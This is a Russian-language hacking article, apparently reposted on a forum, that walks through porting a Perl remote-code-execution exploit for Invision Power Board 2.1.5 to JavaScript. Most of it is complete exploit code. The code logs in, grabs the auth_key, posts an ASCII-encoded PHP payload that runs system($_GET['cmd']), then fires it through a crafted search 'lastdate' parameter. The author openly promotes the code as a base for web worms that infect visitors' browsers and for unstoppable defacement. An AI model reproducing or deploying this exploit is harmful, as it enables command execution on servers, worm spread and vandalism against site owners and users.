Перенос эксплойтов с perl на JavaScript на примере эксплойта от RST/GHC для IPB <= v.2.1.5
Автор: kuzya
[INTRO]
Здравствуйте. В данной статье я решил рассмотреть тему, возможно граничащую с паранойей (как может показаться на первый взгляд) – перенос эксплойтов с perl на JavaScript. Конечно же первый вопрос будет – "Зачем всё это нужно?". Как мне кажется, с помощью эксплойтов написанных на JS можно дать не плохую базу для веб-червей которые будут распространятся по средствам вставки своего кода в заражённые страницы. Соответственно, при таком раскладе, роль атакующего будет играть не о чём не подозревающий пользователь, просто зашедший на заражённую страничку. Так же, имея эксплоит на JS, можно, например, устраивать бесконечный дефейс какого либо уязвимого сайта/форума – каждый, зашедший на уязвимую страничку, пользователь будет вызывать дефейс эксплойтом. А все под ряд IP не перебаниш. В такой ситуации единственный выход – патчить уязвимый скрипт. А что если уязвимость ещё не известна? Вообщем если браться за дело с головой то можно натворить уйму всего интересного. Ещё одна причина, по которой я решился провести данный эксперимент – мнение общество о том что JS – ущербный, мало на что способный язык. Эксплоит для форума IPB версии 2.1.5 я решил выбрать потому что он достаточно сложен для реализации. Давайте по порядку рассмотрим
что же делает эксплоит:
- Авторизируется на форуме.
- Оставляет сообщение содержащее php-код который закодирован в ascii-коды.
- Проводит поиск по форуму.
- Найдя своё сообщение эксплоит, с помощью специально сформированного запроса, позволял атакующему выполнять команды на удалённой системе, с правами веб-сервера.
Так же нужно обсудить несколько технических моментов:
Все действия мы будем производить с помощью
компонента Microsoft.XMLHTTP имеющегося в IE.
Для командования эксплойтом мы будем использовать обычную html-страничку состоящую из одного поля ввода(в него будет вводится команда которая должна будет выполниться), и из двух кнопок. При нажатии на первую кнопку будут происходить три первых задачи эксплойта. При нажатии на вторую – выполнение команды введённой в поле.
Весь JS-код будет храниться в одном скрипте и подключаться в нашу главную страничку.
Вся информация, нужная для атаки (адрес форума, логин, пароль и т.д.), будет храниться в скрипте, уже занесённая в переменные.
Кроме функций самого эксплойта у нас будут 3 функции которые будут каким-либо образом помогать нам.
Код я постарался очень хорошо прокомментировать. Полный пример эксплойта для рассмотрения Вы можете скачать здесь.
Код не стабилен. Он рабочий, но любая непредвиденная ситуация может повлечь за собой сбой в работе эксплойта. По крайней мере он протестирован на совершенно голом ipb. Если Вы заинтересуетесь данной темой то можете с лёгкостью доработать эксплоит до максимально-стабильной версии – что будет хорошей разминкой для мозгов.
Все пробы и эксперименты должны проводиться на IE.
Если Вы вообще не разбираетесь в JavaScript то я думаю что Вы мало что поймёте в этой статье. Просто подучите хотя бы основы JS и вернитесь к прочтению статьи. Либо возможен второй вариант – разбираться с нижеописанным кодом со справочником по JS в руках.
Приготовления
Естественно для начала нужно установить сам форум. Для этого создайте в денвере хост ipb и установите в его корень форум. Для экспериментов я взял версию 2.1.4, которую можно взять здесь:
_http://softoroom.net/filezzz/ipb.2.1.4.Rus_Softoroom.net.rar
Итак, пройдите на свой новый форум и зарегистрируйте нового пользователя. Я зарегистрировал пользователя 'Kuzya' с паролем '111'. Если Вы зарегистрируйте другого пользователя то Вам нужно будет поменять значение двух пременных в коде нашего эксплойта (об этом далее). Итак, если форум установлен и попасть на него можно по ссылке http://ipb/index.php то можно приступать к самому главному.
Кодинг
Сначала давайте создадим html-страничку с которой и будем производить всё командование эксплойтом. Я назвал её 1.html и поместил в корень хоста localhost. Вот её код:
Код:
<html>
<head>
<title></title>
</head>
<body>
<form>
<input type='text' name='cmd' id='cmd'>
</form>
<input type='button' onClick='prepare();' value='prepare'>
<input type='button' onClick='doCmd(document.forms[0].cmd.value);' value='do+cmd'>
<div id='main_div'></div>
<div id='cmd_div'></div>
<script src='ipb.js'></script>
</body>
</html>
Как видите – ничего особенного. В элемент div имеющий id – main_div будет заноситься информация о действиях эксплойта, а в <div> с id – cmd_div – результат выполнения какой-либо команды. Теперь нужно заняться скриптом ipb.js который так же должен лежать в корне localhost. Для начала нужно определить все важные переменные:
Код:
// Различные переменные
var answer='';
var browser = new ActiveXObject("Microsoft.XMLHTTP");
var div=document.getElementById("main_div");
var cmd_div=document.getElementById("cmd_div");
// Информация нужная для действия эксплойта
var login='Kuzya';
var password='111';
var forum_url='http://ipb/index.php';
var forum_id=2;
var topic_id=1;
// Переменные эксплойта
var auth_key='';
var session=0;
var logined=0;
var posted=0;
var auth_key_taked=0;
var searched=0;
var search_id='';
Давайте разберём назначение каждой переменной по порядку.
1. В переменной answer мы будем хранить ответ с уязвимого форума для будущего анализа.
2. Переменная browser является обьектом Microsoft.XMLHTTP, с помощью которого мы будем отправлять get и post запросы на уязвимый форум.
3. Две дальнейшие переменные будут использоваться для модификации содержимого элементов на страничке 1.html
Далее идут переменные нужные для действия эксплойта – url форума, номер форума, номер топика, логин и пароль пользователя под которым будет происходить атака. После этого идут переменные эксплойта которые будут заполняться по ходу атаки. Пожалуй тут нам важны только 2 переменные – это auth_key и search_id. В первый будет заноситься значение параметра auth_key, без которого мы не сможем оставить сообщение на форуме. Этот параметр появляется когда Вы пытаетесь оставить ответ на форуме. Второй параметр нужен для выполнения команд, которое проходит через скрипт поиска. Так как все действия проходят в 2 этапа – поиск нашего опасного сообщения и последующее выполнение команд, то нам нужно знать значение параметра seachid что бы обратится к результатам поиска для выполнения команд.
Далее идут вспомогательные функции:
Код:
//===============Вспомогательные функции======================\
// Функция для отправки POST-запросов
function post(url,data)
{
browser.open('POST',url,0);
browser.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
browser.onreadystatechange=returnresponse;
browser.send(data)
function returnresponse()
{
if (browser.readyState==4){
// как только ответ получен -
// заносим его в переменную answer
answer = browser.responseText;
}
}
}
// Функция для отправки GET-запросов.
function get(url)
{
browser.open('GET',url,0);
browser.onreadystatechange=returnresponse;
browser.send(null)
function returnresponse()
{
if (browser.readyState==4){
answer = browser.responseText;
}
}
}
// Аналог nl2br в php. Через неё мы будем
// пропускать результат выполнения команд.
function nl2br(str)
{
var found= new RegExp("\n");
while (found.test(str))
{
str = str.replace("n", "
");
}
return str;
}
Я думаю их назначение понятно из комментариев. Я решил их опустить в самый низ эксплойта. Теперь давайте перейдём непосредственно к описанию функций самого эксплойта. Код состоит из семи функций:
1.make_session() - данная функция просто обращается к форуму что бы открыть сессию и получить cookies.
2.ipb_login(login, password) – данная функция проводит авторизацию.
3.get_auth_key() - эта функция получает значение auth_key, которое необходимо для создания новой темы.
4.post_message() - открывает новую тему с вредоносным сообщением
5.do_search() - данная функция производит поиск и получает значение searchid которое понадобится для выполнения команд.
6.prepare() - эта функция вызывает вышеописанные функции в определённом порядке.
7.doCmd(cmd) данная функция отвечает за выполнение команд.
Самой первой в коде идёт функция prepare():
Код:
function prepare()
{
ipb_login(login,password);
get_auth_key();
post_message();
do_search();
}
Как видите – функция просто вызывает под ряд все функции. Теперь давайте рассмотрим все функции связанные с форумом по порядку:
Код:
function make_session()
{
get(forum_url);
session=1;
div.innerHTML+='session created.<br>';
}
Так как запрос осуществляется по средствам браузера, то полученные cookies им автоматически сохраняются. Поэтому проблем с cookies у нас нет.
Код:
function ipb_login(login,password)
{
var data='UserName='+login+'&PassWord='+password;
var url=forum_url+'?act=Login&CODE=01';
post(url,data);
logined=1;
div.innerHTML+='Login - OK.<br>';
}
Эта функция эмитирует авторизацию пользователя. Она отправляет POST-запрос с именем пользователя и паролем. После этого на страничке 1.html выводит запись о том что авторизация прошла успешно (заметьте что это никак не проверяется).
Код:
function get_auth_key()
{
// в этом массиве будет храниться html-код полученного ответа
html_array= new Array();
var url=forum_url+'?act=post&do=reply_post&f='+forum_id+'&t='+topic_id;
get(url);
// разбиваем html-код ответа на массив
html_array=answer.split("<");
for (var i=0; i<html_array.length; i++)
{
// просматриваем все ячейки массива на наличие записи 'auth_key'
var str=html_array[i];
if (str.indexOf('auth_key')>0)
{
// заканчиваем цикл как только
// в строке обнаруживается 'auth_key'
auth_check_str=html_array[i];
break;
}
}
auth_key_taked=1;
// сообщаем о том что auth_key найден
div.innerHTML+='auth_key taked: '+auth_check_str.substr(auth_check_str.indexOf('value=')+7,32)+'<br>';
auth_key=auth_check_str.substr(auth_check_str.indexOf('value=')+7,32);
}
Данная функция обращается к форме ответа на указанные в начале топик (его номер хранится в переменной topic_id) и из html-кода полученного ответа выдёргивает значение auth_key (разбив на массив ответ прогоняется через цикл).
Код:
function post_message()
{
var text= 'blaheval(chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40) .chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(39).chr(99).chr(109).chr(100).chr(39).chr(93).chr(41).chr(59) .chr(32).chr(100).chr(105).chr(101).chr(40).chr(41).chr(59)); //';
var data= "st=0&act=Post&s=&f="+forum_id+"&auth_key="+auth_key+" &removeattachid=0&CODE=01&post_key=&TopicTitle=hacksploit &TopicDesc=hacksploit &poll_question=&ffont=0&fsize=0&Post="+text+"&enableemo=yes&enablesig=yes&iconid=0";
// постим сообщение
post('http://ipb/index.php?',data);
// соощаем что тема создана
div.innerHTML+='topic created.
';
posted=true;
}
Эта функция заводит новую тему с названием hacksploit и с текстом blaheval(chr(32).chr(115).chr(121).chr(115) .chr(116).chr(101).chr(109).chr(40).chr(36).chr(95 ) .chr(71).chr(69).chr(84).chr(91).chr(39).chr(99).c hr(109).chr(100).chr(39).chr(93).chr(41).chr(59).c hr(32) .chr(100).chr(105).chr(101).chr(40).chr(41).chr(59 )); // который находится в переменной text. Если перевести этот текст в нормальный вид то получится следующее:
Код:
blaheval('system($_GET['cmd']); die();');
Далее идёт функция do_search():
Код:
function do_search()
{
var data = 'keywords=hacksploit&namesearch='+login+'&forums%5B%5D=all&searchsubs=1&prune=0 &prune_type=newer&sort_key=last_post&sort_order=desc &search_in=posts&result_type=posts';
post(forum_url+'?act=Search&CODE=01',data);
var html_array=new Array();
html_array=answer.split("<");
for (var i=0; i<html_array.length; i++)
{
var str=html_array[i];
if (str.indexOf('searchid=')>0)
{
div.innerHTML+='searchid is '+str.substr(str.indexOf('searchid=')+9,32);
search_id = str.substr(str.indexOf('searchid=')+9,32);
break;
}
}
}
Эта функция производит поиск по форуму со следующими параметрами:
1.Поиск по ключевым словам: hacksploit
2.Фильтрация по имени автора – 'Kuzya'
3.Искать в сообщениях
4.Отображать результат в виде сообщений
После того как получен результат поиска, функция вырезает из его кода значение searchid и заносит его в переменную search_id. Теперь всё готово для выполнения команд. Следующая функция doCmd(cmd) – она обращается к результатам предыдущего поиска и дополнительно передаёт параметр cmd.
Код:
function doCmd(cmd){
var ggg = '?act=Search&CODE=show&searchid='+search_id+'&search_in=posts &result_type=posts&cmd='+cmd+'&highlite=blaheval&lastdate=z|eval.*?%20//)%23e%00';
url=forum_url+ggg;
get(url);
cmd_div.innerHTML=nl2br(answer);
}
Из кода видно что формируется специальное значение параметра lastdate. С помощью получившегося при атаке выражения от нашего кода отфильтровывается 'blah' и остаётся
Код:
eval('system($_GET['cmd']); die();');
затем этот код выполняется. Давайте посмотрим на результат работы этого эксплойта. Пройдём по ссылке
http://localhost/1.html
Поле этого нажмите на кнопку prepare. После выполнения своей первой задачи эксплоит отрапортует:

Далее можно ввести например 'dir' и нажать кнопку 'do+cmd':

Ответ конечно немного кривоват, но факт в том что эксплоит работает – выполняет php-код. Как видите – перенести эксплоит с perl`a на JS не так уж и сложно, главное просто подходить этому творчески . Если Вы полностью разобрались в JS-коде эксплойта, то я уверен что Вы сможете переделать под JS почти любой эксплоит для веб-приложения.
источник:
www.inattack.ru, автор kuzya 14/07/2007
PS Статья понравилась, так как хорошо всё рассмотренно на конкретном примере, имхо, она будет многим участникам, тут на ачате, тоже интересна...